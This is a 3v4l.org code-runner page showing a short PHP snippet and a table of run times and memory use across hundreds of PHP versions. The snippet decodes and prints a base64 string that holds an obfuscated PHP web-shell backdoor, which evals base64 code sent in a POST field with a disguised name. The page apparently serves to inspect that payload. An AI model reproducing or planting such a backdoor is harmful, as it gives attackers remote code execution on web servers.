3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'; $code = base64_decode($_); print($code); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0150.00018.71
8.3.30.0100.00319.02
8.3.20.0040.00420.21
8.3.10.0080.00021.81
8.3.00.0040.00417.68
8.2.170.0040.01122.96
8.2.160.0070.00720.39
8.2.150.0040.00424.18
8.2.140.0050.00224.66
8.2.130.0030.00526.16
8.2.120.0040.00420.97
8.2.110.0030.00620.94
8.2.100.0120.00017.91
8.2.90.0040.00419.25
8.2.80.0040.00417.97
8.2.70.0050.00317.63
8.2.60.0000.00717.93
8.2.50.0030.00518.10
8.2.40.0050.00320.52
8.2.30.0000.00818.08
8.2.20.0060.00317.69
8.2.10.0040.00418.02
8.2.00.0040.00417.64
8.1.270.0030.00623.84
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0030.00620.95
8.1.230.0120.00017.64
8.1.220.0040.00417.74
8.1.210.0030.00518.77
8.1.200.0060.00317.23
8.1.190.0040.00417.23
8.1.180.0060.00318.10
8.1.170.0080.00018.52
8.1.160.0030.00322.19
8.1.150.0000.00718.72
8.1.140.0000.00917.38
8.1.130.0050.00317.81
8.1.120.0000.00717.37
8.1.110.0000.00817.38
8.1.100.0070.00017.39
8.1.90.0000.00717.31
8.1.80.0080.00017.30
8.1.70.0000.00717.27
8.1.60.0030.00717.46
8.1.50.0080.00017.35
8.1.40.0030.00517.32
8.1.30.0030.00617.63
8.1.20.0050.00317.58
8.1.10.0000.00717.46
8.1.00.0040.00417.52
8.0.300.0030.00518.77
8.0.290.0070.00016.58
8.0.280.0030.00318.43
8.0.270.0040.00416.80
8.0.260.0060.00017.23
8.0.250.0030.00316.84
8.0.240.0040.00416.91
8.0.230.0030.00316.88
8.0.220.0000.00716.80
8.0.210.0000.00716.80
8.0.200.0030.00316.79
8.0.190.0000.00816.75
8.0.180.0040.00416.70
8.0.170.0000.00716.86
8.0.160.0070.00016.77
8.0.150.0070.00016.67
8.0.140.0000.00716.73
8.0.130.0050.00013.21
8.0.120.0000.00816.80
8.0.110.0040.00416.79
8.0.100.0040.00416.64
8.0.90.0030.00516.84
8.0.80.0140.00316.84
8.0.70.0000.00716.82
8.0.60.0070.00016.67
8.0.50.0000.00816.74
8.0.30.0140.00716.97
8.0.20.0110.00817.40
8.0.10.0030.00516.73
8.0.00.0070.01016.65
7.4.330.0020.00215.00
7.4.320.0030.00316.57
7.4.300.0000.00716.34
7.4.290.0000.00816.33
7.4.280.0040.00416.34
7.4.270.0000.00816.61
7.4.260.0000.00716.40
7.4.250.0070.00016.39
7.4.240.0030.00316.49
7.4.230.0030.00316.42
7.4.220.0090.00916.39
7.4.210.0130.00016.64
7.4.200.0070.00016.61
7.4.160.0050.01016.44
7.4.150.0120.00817.40
7.4.140.0080.00817.86
7.4.130.0090.00816.45
7.4.120.0070.01016.36
7.4.110.0030.01316.55
7.4.100.0110.00716.45
7.4.90.0090.00916.28
7.4.80.0070.01019.39
7.4.70.0060.01716.40
7.4.60.0130.00416.40
7.4.50.0030.00316.17
7.4.40.0110.00716.59
7.4.30.0130.00316.34
7.4.00.0090.00614.92
7.3.330.0020.00213.12
7.3.320.0000.00512.93
7.3.310.0040.00416.18
7.3.300.0070.00016.21
7.3.290.0100.00616.14
7.3.280.0100.00516.15
7.3.270.0100.00717.40
7.3.260.0100.01216.45
7.3.250.0060.01116.22
7.3.240.0030.01716.21
7.3.230.0100.00716.48
7.3.210.0090.00816.21
7.3.200.0170.00019.39
7.3.190.0130.01016.54
7.3.180.0080.00816.23
7.3.170.0130.00616.27
7.3.160.0100.00716.39
7.3.120.0070.00714.97
7.3.10.0080.00616.63
7.3.00.0030.00916.43
7.2.330.0000.01616.64
7.2.320.0090.00916.25
7.2.310.0110.00616.47
7.2.300.0050.01116.70
7.2.290.0120.00916.42
7.2.130.0070.00816.69
7.2.120.0030.01316.90
7.2.110.0050.00716.92
7.2.100.0040.00916.74
7.2.90.0050.01116.67
7.2.80.0070.00816.75
7.2.70.0100.00716.96
7.2.60.0060.00616.66
7.2.50.0070.00617.03
7.2.40.0080.00716.89
7.2.30.0050.00716.92
7.2.20.0070.00916.67
7.2.10.0080.00616.62
7.2.00.0080.00717.52
7.1.250.0040.00715.85
7.1.200.0070.00715.78
7.1.100.0080.00318.21
7.1.70.0000.01016.87
7.1.60.0030.02119.14
7.1.50.0000.01216.93
7.1.00.0030.07722.29
7.0.200.0000.01516.87
7.0.140.0070.07022.13
7.0.60.0270.07721.72
7.0.50.0070.06017.80
7.0.40.0000.07720.09
7.0.30.0270.06020.13
7.0.20.0200.08320.33
7.0.10.0030.08320.18
7.0.00.0030.09020.00
5.6.280.0070.07021.10
5.6.210.0030.06320.71
5.6.200.0030.08018.08
5.6.190.0100.06720.42
5.6.180.0300.07720.27
5.6.170.0130.05020.62
5.6.160.0070.08020.44
5.6.150.0000.04318.11
5.6.140.0000.07318.11
5.6.130.0100.07718.13
5.6.120.0130.07720.95
5.6.110.0130.08321.11
5.6.100.0100.07720.97
5.6.90.0100.08320.97
5.6.80.0100.08020.39
5.5.350.0300.03720.41
5.5.340.0000.04318.02
5.5.330.0070.04720.37
5.5.320.0300.07020.41
5.5.310.0170.09020.31
5.5.300.0070.08017.95
5.5.290.0070.08317.91
5.5.280.0200.07720.86
5.5.270.0100.07020.86
5.5.260.0070.08720.67
5.5.250.0070.04720.48
5.5.240.0200.04720.25
5.4.450.4330.04019.46
5.4.440.0070.08019.19
5.4.430.0870.05719.41
5.4.420.4300.04019.46
5.4.410.4130.04319.34
5.4.400.4030.04018.93
5.4.390.4100.04719.04
5.4.380.4630.04019.04
5.4.370.4630.03318.88
5.4.360.4570.04019.08
5.4.350.4500.03719.14
5.4.340.4700.03719.14
5.4.320.3870.04319.26
5.4.310.2730.04018.94
5.4.300.2400.03719.18
5.4.290.3470.04018.88
5.4.280.3400.04018.92
5.4.270.3300.03019.14
5.4.260.3300.03319.04
5.4.250.3900.04018.98
5.4.240.4300.02018.88
5.4.230.2900.03318.92
5.4.220.4170.03718.86
5.4.210.3500.04018.95
5.4.200.3930.04019.07
5.4.190.5570.04019.03
5.4.180.4330.03719.13
5.4.170.4400.04018.86
5.4.160.0100.07319.14
5.4.150.0070.05719.12
5.4.140.3830.03716.39
5.4.130.4170.03316.43
5.4.120.3970.03016.33
5.4.110.4470.04316.38
5.4.100.4030.03716.46
5.4.90.5000.03016.31
5.4.80.4400.02716.32
5.4.70.4730.03316.40
5.4.60.4230.03716.23
5.4.50.0030.06016.36
5.4.40.3800.03316.44
5.4.30.3730.03316.13
5.4.20.4830.03016.09
5.4.10.4930.03716.11
5.4.00.4570.03315.79
5.3.290.4070.03314.77
5.3.280.3970.03714.52
5.3.270.6130.02714.50
5.3.260.3170.04714.69
5.3.250.0000.04714.56
5.3.240.3070.03014.48
5.3.230.4130.03314.54
5.3.220.4500.03314.50
5.3.210.4700.04014.49
5.3.200.4400.03014.54
5.3.190.4570.03714.50
5.3.180.4630.03714.48
5.3.170.4830.03714.52
5.3.160.3000.04014.51
5.3.150.0130.07714.48
5.3.140.0170.04314.48
5.3.130.3800.03714.48
5.3.120.4230.03014.47
5.3.110.4900.04314.52
5.3.100.4870.04313.86
5.3.90.4870.03713.80
5.3.80.4230.02313.85
5.3.70.4100.03313.95
5.3.60.3800.03013.79
5.3.50.4830.03313.89
5.3.40.4570.03313.90
5.3.30.4370.04013.86
5.3.20.4100.04013.65
5.3.10.4200.03013.58
5.3.00.4030.02713.60
5.2.170.3930.03011.09
5.2.160.4170.02311.04
5.2.150.3700.02711.09
5.2.140.3170.03310.96
5.2.130.3500.03011.00
5.2.120.3230.02311.00
5.2.110.3130.02311.04
5.2.100.3430.03311.11
5.2.90.3030.02710.94
5.2.80.3470.03311.02
5.2.70.3230.02710.98
5.2.60.3630.03011.04
5.2.50.3600.03011.00
5.2.40.2470.02310.92
5.2.30.3100.02310.86
5.2.20.2870.02311.03
5.2.10.3370.02710.79
5.2.00.3400.03010.61
5.1.60.3030.0239.89
5.1.50.2630.02310.05
5.1.40.2770.0239.88
5.1.30.3470.03010.33
5.1.20.3430.03010.35
5.1.10.3430.02010.06
5.1.00.3330.03010.04
5.0.50.1870.0179.74
5.0.40.1930.0209.74
5.0.30.1800.0339.74
5.0.20.1470.0209.74
5.0.10.1530.0209.74
5.0.00.1830.0309.74
4.4.90.1200.0139.74
4.4.80.1830.0209.74
4.4.70.1300.0139.74
4.4.60.1130.0139.74
4.4.50.1770.0179.74
4.4.40.1970.0239.74
4.4.30.1970.0139.74
4.4.20.1800.0179.74
4.4.10.1700.0179.74
4.4.00.1930.0239.74
4.3.110.1770.0179.74
4.3.100.1530.0109.74
4.3.90.1370.0139.74
4.3.80.1530.0239.74
4.3.70.1870.0139.74
4.3.60.1730.0179.74
4.3.50.1270.0179.74
4.3.40.1270.0209.74
4.3.30.0800.0139.74
4.3.20.0800.0179.74
4.3.10.0800.0179.74
4.3.00.0730.0179.74

preferences:
44.53 ms | 400 KiB | 5 Q